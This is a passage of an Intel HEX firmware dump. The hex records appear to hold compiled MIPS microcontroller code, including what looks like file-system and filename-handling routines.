0f130001000423005004010000000001f000224b3\n:10f14000348182a3ff0002241800c2af1800c28fce\n:10f1500065004014000000001000c48f212800004a\n:10f16000020006249a48400f000000001800c2afb9\n:10f170001800c28f05004010000000001a00022491\n:10f18000348182a36a3c400b000000001000c28f53\n:10f190000800428c00a0033c581064242128400041\n:10f1a0008f49400f000000002c00c28f0100422454\n:10f1b000000043802b0002244b006214000000007a\n:10f1c0001000c38f18006290010004244408827c60\n:10f1d000180062a0e93c400b000000001000c28f44\n:10f1e000360042941e00c2a71e00c2271000c48f22\n:10f1f0002128400001000624dd39400f00000000f6\n:10f200001800c2af1800c28f370040140000000081\n:10f210001e00c2271000c48f2128400021300000aa\n:10f2200001000724e630400f000000001800c2afc4\n:10f230001800c28f2c004014000000001e00c227de\n:10f240001000c48f2128400077000624a622400f1a\n:10f25000000000001800c2af1000c28f3a004294b4\n:10f260001000423005004010000000001f00022482\n:10f27000348182a3ff0002241800c2af1800c28f9d\n:10f2800019004014000000001000c48f2128000065\n:10f29000020006249a48400f000000001800c2af88\n:10f2a0001800c28f03004010000000001a00022462\n:10f2b000348182a32c00c28f0100422400004380cd\n:10f2c0002b00022408006214000000001000c38f0d\n:10f2d00018006290010004244408827c180062a097\n:10f2e000e93c400b00000000e93c400b000000003e\n:10f2f0001000c28f360042941e00c2a71e00c22713\n:10f300001000c48f2128400072000624a622400f5e\n:10f31000000000001800c2af1800c28f1a0040148d\n:10f32000000000002c00c28f010042240000438036\n:10f330002b00022414006214000000001000c28f91\n:10f340000800428c00a0033c58106424212840008f\n:10f350008f49400f000000001000c28f3a00429415\n:10f360001000423008004014000000001000c38f5d\n:10f3700018006290010004240400827c180062a03e\n:10f38000e93c400b00000000e93c400b000000009d\n:10f390001f000224348182a3ff0002241800c2afa0\n:10f3a000000000003d3d400b000000001000c48f35\n:10f3b00000a0023ca0134524403e400f0000000086\n:10f3c0001c00c393770002240d00621000000000af\n:10f3d0001c00c393570002240900621000000000c3\n:10f3e0001c00c393610002240500621000000000ad\n:10f3f0001c00c393410002243a0062140000000084\n:10f400001e00c0a71e00c2271000c48f2128400084\n:10f410002130000001000724e630400f000000000a\n:10f420001800c2af1800c28f2c004014000000006a\n:10f430001e00c2271000c48f212840007700062438\n:10f44000a622400f000000001800c2af1000c28fbb\n:10f450003a004294100042300500401000000000c5\n:10f460001f000224348182a3ff0002241800c2afcf\n:10f470001800c28f19004014000000001000c48f53\n:10f4800021280000020006249a48400f00000000d6\n:10f490001800c2af1800c28f030040100000000027\n:10f4a0001a000224348182a32c00c28f010042245e\n:10f4b000000043802b0002240800621400000000ba\n:10f4c0001000c38f18006290010004244408827c5d\n:10f4d000180062a03d3d400b000000003d3d400b88\n:10f4e000000000000b0002241800c2af0b00022431\n:10f4f000348182a3d8d8400f0000000005004010de\n:10f50000000000001000c38f180062900400027c0d\n:10f51000180062a01800c28f09004010000000000f\n:10f520001400c38f18818227211062000100032478\n:10f53000000043a01000c0af513d400b0000000090\n:10f54000348180a31000c28f21e8c0032400bf8f44\n:10f550002000be8f2800bd270800e0030000000047\n:10f56000f8ffbd270400beaf21f0a0030800c4af20\n:10f57000348180a30800c28f1000428c21e8c003b0\n:10f580000400be8f0800bd270800e0030000000053\n:10f5900090fdbd276c02bfaf6802beaf21f0a00393\n:10f5a0007002c4af00a0023c000642241800c2afa3\n:10f5b0001400c0a7348180a3d8d8400f00000000f9\n:10f5c000060040100000000018000224348182a3cd\n:10f5d000ffff0224023e400b000000001800c28f13\n:10f5e0006000c327300043ac7002c48f1800c58f81\n:10f5f000213000004e42400f000000000600401481\n:10f600000000000012000224348182a3ffff0224c4\n:10f61000023e400b000000001800c28f00a0033c17\n:10f6200058106324000043ac1800c28f040040aca3\n:10f630001800c28f080040ac1800c28f360040a4ea\n:10f640001800c28f200003243a0043a40c80828f4c\n:10f650003c00438c1800c28f3c0043ac0c80828f6e\n:10f660004000438c1800c28f400043ac00a0023c15\n:10f67000a01344241800c58f403e400f0000000036\n:10f680001800c48f00a0023ca013452401000624ea\n:10f6900021380000db1b400f000000000600401076\n:10f6a000000000000b000224348182a3ffff02242b\n:10f6b000023e400b000000001800c28f3a00429446\n:10f6c0001000423006004010000000001300022429\n:10f6d000348182a3ffff0224023e400b00000000a1\n:10f6e0001800c28f3400429438004014000000001b\n:10f6f0001c00c227212040001800c58f403e400f4b\n:10f70000000000001800c28f36004294ffff422420\n:10f71000ffff42306202c2a76202c2271800c48ff4\n:10f720002128400021300000e72f400f000000009a\n:10f730001000c2afdd3d400b000000001400c29776\n:10f740000d0042241400c2a76202c297ffff4224a8\n:10f75000ffff42306202c2a76202c2271800c48fb4\n:10f760002128400021300000e72f400f000000005a\n:10f770001000c2af1000c28f0b0043900f00022494\n:10f780000a006214000000001000c28f00004390c5\n:10f79000e500022405006210000000001000c28f86\n:10f7a00000004290e5ff4014000000001c00c2274a\n:10f7b0001800c48f21284000403e400f0000000088\n:10f7c0001800c28f1400c397340043a41800c28fde\n:10f7d000360042241800c48f21284000010006246e\n:10f7e000dd39400f0000000004004014000000005c\n:10f7f00021100000023e400b000000000100022426\n:10f80000348182a3ffff022421e8c0036c02bf8f72\n:10f810006802be8f7002bd270800e00300000000f0\n:10f82000e0ffbd271c00bfaf1800beaf21f0a00352\n:10f830002000c4af01000224488082af2000c48fa2\n:10f84000643d400f000000001000c2af488080af50\n:10f850001000c28f21e8c0031c00bf8f1800be8fac\n:10f860002000bd270800e00300000000e8ffbd27de\n:10f870001400bfaf1000beaf21f0a0031800c4af4a\n:10f880004480829303004010000000003241400f8a\n:10f89000000000001800c28f100040ac1800c28f9a\n:10f8a0000e0040a41800c28f0c0040a41800c28fa4\n:10f8b0000400438c1800c28f080043ac408080af26\n:10f8c0000000000021e8c0031400bf8f1000be8fad\n:10f8d0001800bd270800e00300000000f8ffbd2766\n:10f8e0000400beaf21f0a0033481829321e8c0035d\n:10f8f0000400be8f0800bd270800e00300000000e0\n:10f90000e8ffbd271400beaf21f0a0031800c4af6c\n:10f910001c00c5af1800c28f0400c2af1c00c28f0c\n:10f920000800c2af440002240c00c2af0000c0af08\n:10f93000593e400b000000000000c28f0400c38f3e\n:10f94000211062000000c38f0800c48f21188300bb\n:10f9500000006390000043a00000c28f0100422419\n:10f960000000c2af0000c38f0c00c28f2a106200db\n:10f97000f1ff40140000000021e8c0031400be8f16\n:10f980001800bd270800e00300000000e0ffbd27cd\n:10f990001c00bfaf1800beaf21f0a0032000c4af11\n:10f9a0002400c5af1000c0af2000c28f0000428c01\n:10f9b0001400c2af2000c48f8437400f0000000045\n:10f9c000211840002400c28f000043ac2400c28fe5\n:10f9d0000000428c050040140000000015000224c5\n:10f9e0001000c2afbf3e400b000000001400c28fe9\n:10f9f0002400439001000224110062140000000062\n:10fa00002400c28f0000428c1400c48f21284000c3\n:10fa1000f80f062421380000c64a400f00000000fd\n:10fa200021184000ffff02342a0062140000000089\n:10fa3000090002241000c2afb53e400b00000000d8\n:10fa40001400c28f240043900200022411006214ab\n:10fa5000000000002400c28f0000428c1400c48ffc\n:10fa600021284000f8ff063421380000c64a400f24\n:10fa70000000000021184000ffff0234150062144e\n:10fa800000000000090002241000c2afb53e400b88\n:10fa9000000000002400c28f0000428c1400c48fbc\n:10faa00021284000ff0f023cf8ff463421380000b7\n:10fab000c64a400f0000000021184000ff0f023c22\n:10fac000ffff42340300621400000000090002241a\n:10fad0001000c2af1000c28f0800401400000000e8\n:10fae0002400c28f0000428c1400c48f21284000e3\n:10faf000c63e400f000000001000c2af1000c28fd1\n:10fb000021e8c0031c00bf8f1800be8f2000bd2756\n:10fb10000800e00300000000d8ffbd272400bfafad\n:10fb20002000beaf21f0a0032800c4af2c00c5af59\n:10fb30001800c0a32800c48f2c00c58f6d3f400f54\n:10fb4000000000001400c2af4480829308004010ff\n:10fb5000000000003241400f00000000040040108f\n:10fb60000000000009000224123f400b00000000ca\n:10fb7000408080af46808293100040140000000057\n:10fb80002800c28f03004388000043982800c28fda\n:10fb90001d004488212880001a0045982110a000eb\n:10fba0002120600021280000213040007152410fc7\n:10fbb0000000000001000224468082a31000c0a3c0\n:10fbc000083f400b000000001400c38f01006224b6\n:10fbd0001400c2af2800c28f03004488212880008f\n:10fbe000000045982110a00021206000212840003d\n:10fbf000213000009ad8400f00000000211840007a\n:10fc00000100022403006210000000000900022429\n:10fc10001800c2a31000c293010042241000c2a326\n:10fc20002800c28f230042901000c3932b10620063\n:10fc300004004010000000001800c293e2ff4010d2\n:10fc4000000000001800c29321e8c0032400bf8f09\n:10fc50002000be8f2800bd270800e0030000000040\n:10fc6000f8ffbd270400beaf21f0a0030800c4af19\n:10fc70002110a0000c00c2a70c00c2970800c38f7f\n:10fc8000211062000000429021e8c0030400be8ff2\n:10fc90000800bd270800e00300000000f0ffbd27ba\n:10fca0000c00beaf21f0a0031000c4af2110a000d3\n:10fcb0001400c2a71400c2971000c38f2110620065\n:10fcc000000042900000c2a31400c2970100422429\n:10fcd0001000c38f21106200000042900100c2a3f7\n:10fce0000100c2930200c2a70200c29700120200e4\n:10fcf0000200c2a70000c293ffff43300200c29778\n:10fd0000251062000200c2a70200c29721e8c003ca\n:10fd10000c00be8f1000bd270800e00300000000ab\n:10fd2000e0ffbd271c00bfaf1800beaf21f0a0034d\n:10fd30002000c4af2110a0002400c2a72400c29755\n:10fd40002000c48f21284000273f400f0000000002\n:10fd50001000c2a72400c29702004224ffff4230d5\n:10fd60002000c48f21284000273f400f00000000e2\n:10fd70001200c2a71200c2971400c2af1400c28fb3\n:10fd8000001402001400c2af1000c2971400c38f09\n:10fd9000251062001400c2af1400c28f21e8c00316\n:10fda0001c00bf8f1800be8f2000bd270800e00395\n:10fdb00000000000f0ffbd270c00beaf21f0a00343\n:10fdc0001000c4af1400c5af1000c28f24004290d1\n:10fdd00021184000030002241000621400000000fb\n:10fde0001400c28ffeff43241000c28f23004290f4\n:10fdf000180062001000c28f1300438821206000a9\n:10fe00001000449821108000121800002110620098\n:10fe10000000c2afa43f400b000000001400c28fde\n:10fe200005004010000000001400c38f01000224f0\n:10fe300009006214000000001000c28f0f00438808\n:10fe40000c0043981400c28f211062000000c2af62\n:10fe5000a33f400b000000001400c28ffeff4324ac\n:10fe60001000c28f23004290180062001000c28f61\n:10fe70001300438821206000100044982110800066\n:10fe800012180000211062000000c2af0000000044\n:10fe90000000c28f21e8c0030c00be8f1000bd27f8\n:10fea0000800e00300000000e0ffbd271c00bfaf1a\n:10feb0001800beaf21f0a0032000c4af2110a000a5\n:10fec0002400c2a3348180a32400c393d8ff02245a\n:10fed0002410620006004010000000001f000224f1\n:10fee000348182a3ffff0224f93f400b0000000091\n:10fef0002000c28f360042941400c2a72000c28f97\n:10ff00003c00438c2000c28f400043ac1400c22749\n:10ff10002000c48f212840009139400f00000000cc\n:10ff20001000c2af1000c28f060040140000000095\n:10ff30001b000224348182a3ffff0224f93f400bff\n:10ff4000000000001000c28f0b00429008004230f9\n:10ff500006004010000000001f000224348182a32c\n:10ff6000ffff0224f93f400b000000002000c28f79\n:10ff70003a00429410004230090040100000000096\n:10ff80002400c29310004234ff0042302118400088\n:10ff90002000c28f3a0043a4ec3f400b0000000059\n:10ffa0002400c293ffff43302000c28f3a0043a4d5\n:10ffb0001400c2272000c48f21284000182f400fb2\n:10ffc00000000000060040140000000009000224a8\n:10ffd000348182a3ffff0224f93f400b00000000a0\n:10ffe0002110000021e8c0031c00bf8f1800be8f45\n:10fff0002000bd270800e00300000000c0ffbd276f\n:020000041d01dc\n:100000003c00bfaf3800beaf21f0a0034000c4af3a\n:100010004400c5af4800c6af4c00c7af4400c38f13\n:100020004800c28f18006200121000001000c2af1a\n:100030004000c28f1400c2af1800c0af2800c0a794\n:100040004c00c28f1800428c01004230080040145e\n:10005000000000001d000224348182a30900022454\n:100060001800c2af211000002c41400b000000001e\n:100070001000c28f04004014000000002110000096\n:100080002c41400b00000000d8d8400f00000000b9\n:10009000080040100000000018000224348182a3f0\n:1000a000180002241800c2af211000002c41400ba0\n:1000b00000000000468080a34c00c28f0000428cec\n:1000c0002c00c2af4c00c28f0e0042941c00c2a78d\n:1000d0004c00c28f1000428c2000c2af4c00c28f77\n:1000e0000800428c2c00c48f212840006d3f400f37\n:1000f000000000003000c2af4c00c28f0c004294e0\n:100100003000c38f211062003000c2af4080838f67\n:100110004c00c28f0f0062100000000044808293e8\n:100120000a004010000000003241400f00000000b3\n:10013000060040100000000009000224348182a360\n:10014000211000002c41400b000000004c00c28f29\n:10015000408082af0880838f3000c28f1f00621002\n:1001600000000000448082930a004010000000005c\n:100170003241400f00000000060040100000000067\n:1001800009000224348182a3211000002c41400b7d\n:1001900000000000468080a32c00c28f030043882b\n:1001a0002120600000004498211080003000c48f9e\n:1001b00021284000e5d5400f000000000500401454\n:1001c000000000001b000224348182a308000224e6\n:1001d0001800c2af3000c28f088082af4c00c28fbf\n:1001e0001400428c2400c2af1741400b00000000f5\n:1001f0002000c38f2400c28f06006214000000009c\n:100200004c00c38f18006290010004248410827c8b\n:10021000180062a01c00c3972c00c28f1d004488e8\n:10022000212880001a0045982110a0006700621460\n:1002300000000000010002242a00c2a3448082932f\n:100240000a004010000000003241400f0000000092\n:10025000060040100000000009000224348182a33f\n:10026000211000002c41400b000000001c00c0a722\n:100270004c00c28f0c00429401004224ffff433027\n:100280004c00c28f0c0043a44c00c28f0c0043945e\n:100290002c00c28f23004290150062140000000061\n:1002a0004c00c28f0c0040a44c00c28f1800428c3e\n:1002b0000400423009004010000000004c00c48fd0\n:1002c000212800002f37400f000000001800c2afa7\n:1002d0002a00c0a3bc40400b000000004c00c48fab\n:1002e000010005244723400f000000001800c2afa2\n:1002f0001800c38f150002240600621400000000dd\n:1003000015000224348182a3211000002c41400bef\n:10031000000000001800c28f2c00401400000000f4\n:100320004c00c28f0800428c2c00c48f2128400052\n:100330006d3f400f000000003000c2af4c00c28f84\n:100340000c0042943000c38f211062003000c2af15\n:100350004c00c28f408082af2a00c2931900401027\n:10036000000000002c00c28f0300438821206000a1\n:1003700000004498211080003000c48f21284000e4\n:10038000e5d5400f000000000a0040140000000006\n:100390001b000224348182a3080002241800c2af8b\n:1003a000ffff0224088082af211000002c41400b87\n:1003b000000000003000c28f088082aff340400b85\n:1003c000000000003000c28f088082af1800c28f8a\n:1003d00022004014000000002c00c28f030043885c\n:1003e000000043981c00c297010044241c00c4a7cd\n:1003f000211062001400c38f00006380ff0063308f\n:10040000000043a01400c28f010042241400c2afb8\n:100410002000c28f010042242000c2af1000c28f12\n:10042000ffff42241000c2af2800c29701004224ff\n:100430002800c2a74c00c28f1800428c0400423032\n:1004400004004010000000002400c28f010042247c\n:100450002400c2af01000224448082a31800c28f8e\n:1004600004004014000000001000c28f60ff401420\n:10047000000000004c00c28f1c00c3970e0043a474\n:100480004c00c28f2000c38f100043ac4c00c28fc1\n:100490002400c38f140043ac2800c3974400c28fcc\n:1004a0001b006200f4014000101000001210000058\n:1004b00021e8c0033c00bf8f3800be8f4000bd273d\n:1004c0000800e00300000000d8ffbd272400bfaff4\n:1004d0002000beaf21f0a0034080828f1000c2af89\n:1004e0001000c28f0000428c1400c2af1000c28ff7\n:1004f0000800428c1400c48f212840006d3f400f3b\n:10050000000000001800c2af1000c28f0c0042941f\n:100510001800c38f211062001800c2af1400c28ff0\n:1005200003004388212060000000449821108000cf\n:100530001800c48f21284000213000009ad8400fb5\n:100540000000000004004014000000000900022424\n:100550005841400b00000000448080a3211000009f\n:1005600021e8c0032400bf8f2000be8f2800bd27d4\n:100570000800e00300000000f8ffbd270400beaf44\n:1005800021f0a0030800c4af348180a30800c28f0b\n:100590001000438c0800c28f1400428c26106200a9\n:1005a0000100422cff00423021e8c0030400be8f4e\n:1005b0000800bd270800e00300000000c8ffbd27b9\n:1005c0003400bfaf3000beaf21f0a0033800c4af8d\n:1005d0003c00c5af4000c6af4400c7af3c00c38f6e\n:1005e0004000c28f18006200121000001000c2af5d\n:1005f0003800c28f1400c2af2000c0af1e00c0a7d9\n:10060000348180a34400c28f0000428c2400c2af1a\n:100610004400c28f0e0042941c00c2a74400c28f47\n:100620001000428c1800c2af4400c28f1800428ce8\n:100630000200423006004014000000001e000224a8\n:10064000348182a3211000004842400b00000000ca\n:10065000448082930a004010000000003241400fa5\n:100660000000000006004010000000000900022405\n:10067000348182a3211000004842400b000000009a\n:100680004080838f4400c28f2e0062100000000063\n:100690001c00c3972400c28f1d00448821288000bd\n:1006a0001a0045982110a0002600621000000000ea\n:1006b0004400c28f408082af4400c28f0800428c49\n:1006c0002400c48f212840006d3f400f000000002f\n:1006d0002800c2af4400c28f0c0042942800c38f90\n:1006e000211062002800c2af468080a32400c28f80\n:1006f00003004388212060000000449821108000fe\n:100700002800c48f21284000e5d5400f00000000dc\n:10071000080040140000000008000224348182a375\n:10072000080002242000c2af211000004842400b04\n:10073000000000002800c28f088082af3942400bc1\n:10074000000000003942400b000000004400c28f4e\n:100750001400438c1800c28f0700621400000000d0\n:100760003d000224348182a33d0002242000c2af58\n:100770003c42400b000000001c00c3972400c28fc5\n:100780001d004488212880001a0045982110a000ef\n:100790003e006214000000001c00c0a74400c28f8d\n:1007a0000c00429401004224ffff43304400c28ffa\n:1007b0000c0043a44400c28f0c0043942400c28f59\n:1007c000230042900f006214000000004400c28f1a\n:1007d0000c0040a44400c48f010005244723400faf\n:1007e000000000002000c2af2000c28f05004010b2\n:1007f000000000000f000224348182a33c42400b21\n:10080000000000004400c28f0800428c2400c48f06\n:10081000212840006d3f400f000000002800c2afbb\n:100820004400c28f0c0042942800c38f2110620044\n:100830002800c2af4400c28f408082af468080a3b0\n:100840002400c28f030043882120600000004498e8\n:10085000211080002800c48f21284000e5d5400fda\n:1008600000000000070040140000000008000224ff\n:10087000348182a3080002242000c2af3c42400b16\n:10088000000000002800c28f088082af2400c28fc1\n:1008900003004388000043981c00c29701004424d1\n:1008a0001c00c4a721106200000043901400c28ff6\n:1008b000000043a01400c28f010042241400c2af04\n:1008c0001800c28f010042241800c2af1e00c29758\n:1008d000010042241e00c2a71000c28fffff422465\n:1008e0001000c2af1000c28f98ff4014000000003b\n:1008f0004400c28f1c00c3970e0043a44400c28f63\n:100900001800c38f100043ac1e00c3973c00c28f79\n:100910001b006200f40140001010000012100000e3\n:1009200021e8c0033400bf8f3000be8f3800bd27e0\n:100930000800e00300000000c0fdbd273c02bfaf7f\n:100940003802beaf21f0a0034002c4af4402c5afdd\n:100950002110c0004802c2a32800c0af2c00c0afc5\n:10096000010002243000c2af000102241800c2af0f\n:100970004880828f3d004010000000004002c28f7e\n:100980001c8182af108180a76842400b00000000ec\n:100990001081829701004224ffff4230108182a71c\n:1009a0001c81838f10818297401002002110620009\n:1009b00000004294f6ff401400000000108182976e\n:1009c000211840001800c28f2a1043000a0040146a\n:1009d000000000001c81828f000043942e0002243e\n:1009e00005006210000000001c81828f000042940c\n:1009f0000400401400000000211000007044400b6f\n:100a0000000000001800c0af9142400b0000000041\n:100a10001c81838f1800c28f4010020021106200d9\n:100a2000000043941800c28f401002001000c42739\n:100a300021108200280043a41800c28f0100422424\n:100a40001800c2af10818297211840001800c28f91\n:100a50002a104300eeff4014000000003800c227b7\n:100a60001c8182afc842400b000000004002c48fce\n:100a70007b4b410f00000000ffff4230108182a736\n:100a800010818297211840001800c28f2a1043005d\n:100a90000a004014000000004002c28f00004380a2\n:100aa0002e00022405006210000000004002c28fe8\n:100ab00000004280040040140000000021100000eb\n:100ac0007044400b000000003800c227148182af40\n:100ad0001800c0afc242400b000000001481838f99\n:100ae0001800c28f211062001800c38f4002c48f0b\n:100af0002118830000006380000043a01800c28f0b\n:100b0000010042241800c2af1081829721184000d2\n:100b10001800c28f2a104300f0ff401400000000ac\n:100b20004802c29321204000f846400f0000000018\n:100b30001000c2af1000c38f07000224040062142b\n:100b400000000000211000007044400b0000000075\n:100b5000108182971400c2af4402c28f01000324a7\n:100b60002c0043ac4402c28f340040a41000c38f59\n:100b700001000224030062140000000001000224ae\n:100b80002800c2af1000c38f02000224410062148b\n:100b9000000000002000c0aff942400b0000000040\n:100ba0001c81838f2000c28f401002002110620040\n:100bb000000042940001422c070040140000000095\n:100bc000050002241000c2af010002242800c2afb9\n:100bd000fe42400b000000002000c28f01004224b2\n:100be0002000c2af2000c38f1400c28f2a10620001\n:100bf000ebff4014000000002000c38f1400c28fe0\n:100c00002400621400000000030002241000c2afa0\n:100c10002000c0af2043400b000000001c81838fe8\n:100c20002000c28f40100200211062000000429498\n:100c30006100422c0f004014000000001c81838fd3\n:100c40002000c28f40100200211062000000429478\n:100c50007b00422c0700401000000000040002242a\n:100c60001000c2af010002242800c2af2543400b90\n:100c7000000000002000c28f010042242000c2af0b\n:100c80002000c38f1400c28f2a106200e3ff4014bb\n:100c9000000000001000c38f06000224f400621060\n:100ca000000000002800c28ff10040140000000086\n:100cb0002000c0af7343400b000000004880828fcb\n:100cc00021004010000000001c81838f2000c28f93\n:100cd0004010020021106200000043942e00022404\n:100ce00007006214000000001400c38f2000c28fb0\n:100cf000231062000500422805004010000000009b\n:100d00002000c28f090042280500401400000000a6\n:100d1000010002242800c2af7843400b000000000d\n:100d20001c81838f2000c28f4010020021106200be\n:100d3000000043942e0002242100621400000000f1\n:100d40007843400b000000001481838f2000c28f85\n:100d500021106200000043802e000224070062146c\n:100d6000000000001400c38f2000c28f2310620017\n:100d70000500422805004010000000002000c28f3e\n:100d80000900422805004014000000000100022470\n:100d90002800c2af7843400b000000001481838f0d\n:100da0002000c28f21106200000043802e00022428\n:100db00003006214000000007843400b00000000b4\n:100dc0002000c28f010042242000c2af2000c38f48\n:100dd0001400c28f2a106200b8ff40140000000007\n:100de0002800c28fa2004014000000004402c28ffd\n:100df000200042243400c2af1800c0af8943400b2a\n:100e0000000000001800c28f3400c38f2110620060\n:100e100020000324000043a01800c28f01004224d8\n:100e20001800c2af1800c28f0b004228f5ff401413\n:100e3000000000004880828f0b004010000000007e\n:100e40002000c28f401002002400c2af1400c28fe5\n:100e5000401002001400c2af1c81828f2c00c2af70\n:100e60009e43400b000000002000c28f2400c2af50\n:100e70001481828f2c00c2af1800c0af1c00c0af1d\n:100e8000d043400b000000001800c28f2c00c38f1d\n:100e90002110620000004280260040100000000087\n:100ea0001c00c28f3400c38f211062001800c38f52\n:100eb0002c00c48f2118830000006380000043a031\n:100ec0001c00c28f3400c38f2110620000004280da\n:100ed0006100422814004014000000001c00c28f72\n:100ee0003400c38f21106200000042807b00422842\n:100ef0000d004010000000001c00c28f3400c38fa2\n:100f0000211062001c00c38f3400c48f211883009d\n:100f100000006380ff006330e0ff6324ff00633064\n:100f2000201c037c000043a01c00c28f010042244f\n:100f30001c00c2af1800c28f010042241800c2afcb\n:100f40001c00c28f0800422806004010000000006c\n:100f50001800c38f2400c28f2a106200caff4014f9\n:100f6000000000002400c38f1400c28f2a1062000a\n:100f70003f004010000000002400c28f0100422406\n:100f80002400c2af080002242000c2af1344400b6b\n:100f9000000000002400c28f2c00c38f21106200cb\n:100fa0000000428026004010000000002000c28f98\n:100fb0003400c38f211062002400c38f2c00c48f23\n:100fc0002118830000006380000043a02000c28f2e\n:100fd0003400c38f2110620000004280610042286b\n:100fe00014004014000000002000c28f3400c38fa2\n:100ff00021106200000042807b0042280d0040105a\n:10100000000000002000c28f3400c38f2110620056\n:101010002000c38f3400c48f211883000000638038\n:10102000ff006330e0ff6324ff006330201c037c7b\n:10103000000043a02000c28f010042242000c2af64\n:101040002400c28f010042242400c2af2000c28fbe\n:101050000b00422806004010000000002400c38f4f\n:101060001400c28f2a106200caff40140000000062\n:101070001000c38f0600022405006210000000006b\n:101080002800c38f010002244c00621400000000fd\n:101090004402c28f3000428c3400c2af4880828f3d\n:1010a00003004014000000001481828f2c00c2afa6\n:1010b0001c00c0af1800c0af6144400b000000002e\n:1010c0004880828f1c004010000000004402c28f44\n:1010d0003000438c1800c28f4010020021106200c3\n:1010e0001c81848f1800c38f4018030021188300cf\n:1010f00000006394000043a43000c28f1e00401023\n:10110000000000001c81838f1800c28f4010020075\n:1011100021106200000042940001422c160040148d\n:10112000000000004402c28f2c0040ac3000c0af71\n:101130005e44400b000000001c00c28f01004324ed\n:101140001c00c3af3400c38f211062001800c38f8e\n:101150002c00c48f2118830000006380000043a08e\n:101160001c00c28f010043241c00c3af3400c38f96\n:1011700021106200000040a01800c28f010042242c\n:101180001800c2af1800c38f1400c28f2a1062006b\n:10119000cbff4014000000004402c28f3000438c9b\n:1011a0001800c28f4010020021106200000040a40d\n:1011b000108183974402c28f340043a401000224ab\n:1011c00021e8c0033c02bf8f3802be8f4002bd271a\n:1011d0000800e0030000000090ffbd276c00bfafd7\n:1011e0006800beaf6400b7af6000b6af5c00b5afdb\n:1011f0005800b4af5400b3af5000b2af4c00b1af21\n:101200004800b0af21f0a0037000c4af7400c5afb8\n:101210002110c0007800c2a31c00c0af010002244e\n:101220002800c2af000102241400c2af4880828fa0\n:1012300013004010000000007000c28f1c8182afbc\n:10124000108180a79744400b000000001081829716\n:1012500001004224ffff4230108182a71c81838f4e\n:101260001081829740100200211062000000429419\n:10127000f6ff401400000000a744400b00000000ef\n:101280007000c28f148182af7000c48f7b4b410ffe\n:1012900000000000ffff4230108182a7108182977a\n:1012a000211840001400c28f2a104300040040108f\n:1012b0000000000021100000ea46400b0000000082\n:1012c0007800c29321204000f846400f0000000043\n:1012d0001000c2af1000c38f070002240400621484\n:1012e0000000000021100000ea46400b0000000052\n:1012f000108182972c00c2af7400c28f01000324ba\n:101300002c0043ac7400c28f340040a41000c38f83\n:101310000100022403006214000000000100022406\n:101320001c00c2af1000c38f0200022441006214ef\n:10133000000000002000c0afe144400b00000000ae\n:101340001c81838f2000c28f401002002110620098\n:10135000000042940001422c0700401400000000ed\n:10136000050002241000c2af010002241c00c2af1d\n:10137000e644400b000000002000c28f0100422420\n:101380002000c2af2000c38f2c00c28f2a10620041\n:10139000ebff4014000000002000c38f2c00c28f20\n:1013a0002400621400000000030002241000c2aff9\n:1013b0002000c0af0845400b000000001c81838f57\n:1013c0002000c28f401002002110620000004294f1\n:1013d0006100422c0f004014000000001c81838f2c\n:1013e0002000c28f401002002110620000004294d1\n:1013f0007b00422c07004010000000000400022483\n:101400001000c2af010002241c00c2af0d45400b0a\n:10141000000000002000c28f010042242000c2af63\n:101420002000c38f2c00c28f2a106200e3ff4014fb\n:10143000000000001000c38f0600022405006210a7\n:10144000000000001c00c38f01000224b4006214dd\n:10145000000000007400c28f7000c38f300043ace6\n:101460004880828f4f004010000000001c81838f55\n:101470007000c28f2d006210000000001400c0af89\n:101480003e45400b000000007400c28f3000438cca\n:101490001400c28f40100200211062001c81848f52\n:1014a0001400c38f401803002118830000006394c8\n:1014b000000043a42800c28f0c0040100000000070\n:1014c0001c81838f1400c28f401002002110620023\n:1014d000000042940001422c04004014000000006f\n:1014e0007400c28f2c0040ac2800c0af1400c28f23\n:1014f000010042241400c2af1400c38f2c00c28f1d\n:101500002a106200e0ff4014000000007400c28f47\n:101510003000438c1400c28f401002002110620082\n:10152000000040a4c345400b000000001400c0af01\n:101530006245400b000000002800c28f0f004010e1\n:10154000000000001c81838f1400c28f4010020035\n:1015500021106200000042940001422c0700401458\n:10156000000000007400c28f2c0040ac2800c0af07\n:1015700000000000c345400b000000001400c28fb3\n:10158000010042241400c2af1400c38f2c00c28f8c\n:101590002a106200e8ff401400000000c345400b21\n:1015a000000000002110a003211840002c00c28f71\n:1015b00001004224ffff44243400c4af2120400036\n:1015c00021908000219800000227120000b913002a\n:1015d00025b8970000b11200212040002180800032\n:1015e000218800000227100000a9110025a89500fd\n:1015f00000a1100040100200010042240700422414\n:10160000c2100200c010020023e8a2031000a227ab\n:101610000100422442100200401002003800c2af14\n:101620003800c28f3000c2af1800c0af1400c0af86\n:10163000a145400b000000001800c28f01004424a7\n:101640001800c4af3000c48f211082001481858f30\n:101650001400c48f2120a40000008480000044a056\n:101660001800c28f010044241800c4af3000c48f9a\n:1016700021108200000040a01400c28f010042240b\n:101680001400c2af1400c48f2c00c28f2a10820035\n:10169000e9ff4014000000001400c0afb745400b44\n:1016a000000000007400c28f3000448c1400c28f10\n:1016b00040100200211082003800c58f1400c48f32\n:1016c000402004002120a40000008494000044a4d1\n:1016d0001400c28f010042241400c2af1400c48f52\n:1016e0002c00c28f2a108200eeff40140000000080\n:1016f0007400c28f3000448c1400c28f401002006e\n:1017000021108200000040a421e86000108183972e\n:101710007400c28f340043a4e946400b000000006f\n:101720004880828f8d004010000000001c81828f55\n:101730003000c2af2400c0af2000c0af0746400b4e\n:10174000000000002000c28f401002001400c2af51\n:101750001400c28f3000c38f21106200000042804d\n:1017600012004010000000001400c28f3000c38f30\n:1017700021106200000043802400c28f1000c427a3\n:10178000211082002c0043a02400c28f01004224bb\n:101790002400c2af2400c38f080002240300621497\n:1017a000000000001b46400b000000001400c28f28\n:1017b000010042243000c38f2110620000004280eb\n:1017c00013004010000000001400c28f01004224ea\n:1017d0003000c38f21106200000043802400c28fbc\n:1017e0001000c427211082002c0043a02400c28fc7\n:1017f000010042242400c2af2400c38f0800022449\n:1018000003006214000000001b46400b00000000b3\n:101810002000c28f010042242000c2af2000c38fed\n:101820002c00c28f2a10620010004010000000003f\n:101830001c81838f2000c28f4010020021106200a3\n:10184000000043942e0002240800621000000000f3\n:101850001c81838f2000c28f401002002110620083\n:1018600000004294b7ff4014000000002446400be3\n:10187000000000002400c28f010043242400c3aff5\n:101880001000c32721106200200003242c0043a075\n:101890002400c28f08004228f6ff40140000000018\n:1018a0001c81838f2000c28f401002002110620033\n:1018b000000043942e000224240062140000000063\n:1018c0002000c28f01004224401002001400c2af69\n:1018d0004d46400b000000002000c28f3000c38f37\n:1018e0002110620000004280120040100000000041\n:1018